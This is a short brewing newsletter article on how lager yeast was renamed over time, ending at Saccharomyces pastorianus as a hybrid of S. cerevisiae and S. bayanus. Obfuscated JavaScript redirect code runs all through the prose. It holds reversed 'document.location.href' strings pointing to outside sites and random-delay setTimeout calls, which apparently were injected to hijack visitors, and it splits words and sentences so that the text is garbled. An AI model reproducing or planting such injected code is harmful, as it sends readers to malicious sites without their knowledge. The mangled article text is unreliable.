What’s in a name?

Names are important. Our names give us identification, our surnames tell us something about who we are, where we came from doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and flag potential relatives.

Similarly for yeast, names are important as they can tell us something useful. In the brewing world, arguments doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and debate about the taxonomy of ale doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and lager yeasts has been rumbling on for decades.

Whilst ale yeast has steadfastly remained as Saccharomyces cerevisiae, lager yeast has gone through periodic reinvention akin dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to a fungal version of David Bowie!

Prior dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to 1970 lager yeast was called S. carlsbergenesis which morphed in 1970 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to S. uvarum doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and then in 1990 became S. cerevisiae. So at this time ale doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and lager yeasts were taxonomically the same which, knowing what we know, was not quite right.

Things changed in the mid 1990’s. Primarily this was down dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to the ‘yeast genome’ project doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the associated development of lots of powerful doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and increasingly quick methods for unraveling the complexities of cell genetics.

Lager yeast is now badged as Saccharomyces pasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torianus doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and much subsequent work has confirmed what we always knew – lager yeast is different dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ale yeast! Indeed, S. pasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torianus is a hybrid yeast whose genome is a mix of S. cerevisiae doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and another yeast from the world of wine, Saccharomyces bayanus.

Increasingly, insight is emerging about the genetic make-up of lager yeast. For example, Nakao doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and coworkers reported at the 2003 EBC that the chromosomes of a production strain were from S. cerevisiae doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Saccharomyces bayanus or were hybrids from each ‘parent’.

First published 13 March 2007 in YeastBytes

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